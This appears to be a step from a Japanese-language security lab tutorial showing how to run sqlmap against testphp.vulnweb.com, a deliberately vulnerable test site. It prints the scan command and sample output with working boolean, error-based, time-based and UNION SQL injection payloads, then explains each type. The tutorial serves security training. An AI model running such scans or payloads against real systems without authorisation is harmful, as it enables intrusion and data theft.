SQL インジェクション脆弱性の検出
sqlmap がインストールされたので、Web アプリケーションの SQL インジェクション脆弱性のテストを開始できます。この実験では、セキュリティテスト用に設計された、意図的に脆弱性を持たせた公開ウェブサイトを使用します。SQL インジェクション攻撃の最初のステップは、脆弱なパラメータを特定することです。
今回のターゲット URL は http://testphp.vulnweb.com/listproducts.php?cat=1 です。パラメータ cat=1 は、インジェクションの潜在的な侵入口となります。sqlmap を使用して、このパラメータを自動的にテストします。
以下のコマンドを実行してテストを開始します。-u フラグはターゲット URL を指定します。--batch フラグを使用すると、対話的な質問に対して sqlmap がデフォルトの回答で自動進行するため、プロセスが非対話的になり、より迅速に実行できます。
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap は URL に対して一連のテストを実行します。応答を分析して、cat パラメータがインジェクション可能かどうかを判断します。さまざまな SQL インジェクション手法を試行するため、このプロセスには 1 〜 2 分かかることがあります。
スキャンが完了したら、出力を確認してください。脆弱性を確認するセクションが表示されるはずです。
期待される出力(一部省略):
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
出力結果から、cat パラメータが複数のタイプの SQL インジェクション攻撃に対して脆弱であることが確認できます。
- Boolean-based blind(真偽値ベースのブラインド): 真偽のロジックを使用してデータを抽出します。
- Error-based(エラーベース): データベースのエラーメッセージを悪用して情報を明らかにします。
- Time-based blind(時間ベースのブラインド): 応答の遅延を利用してインジェクションを確認します。
- UNION query(UNION クエリ): 複数の SELECT 文の結果を結合します。
また、スキャンによって、バックエンドのデータベースが Linux Ubuntu 上で動作する MySQL バージョン 5.6 以上であり、Nginx と PHP が使用されていることも特定されました。この詳細なフィンガープリント情報は、次の悪用ステップの指針となります。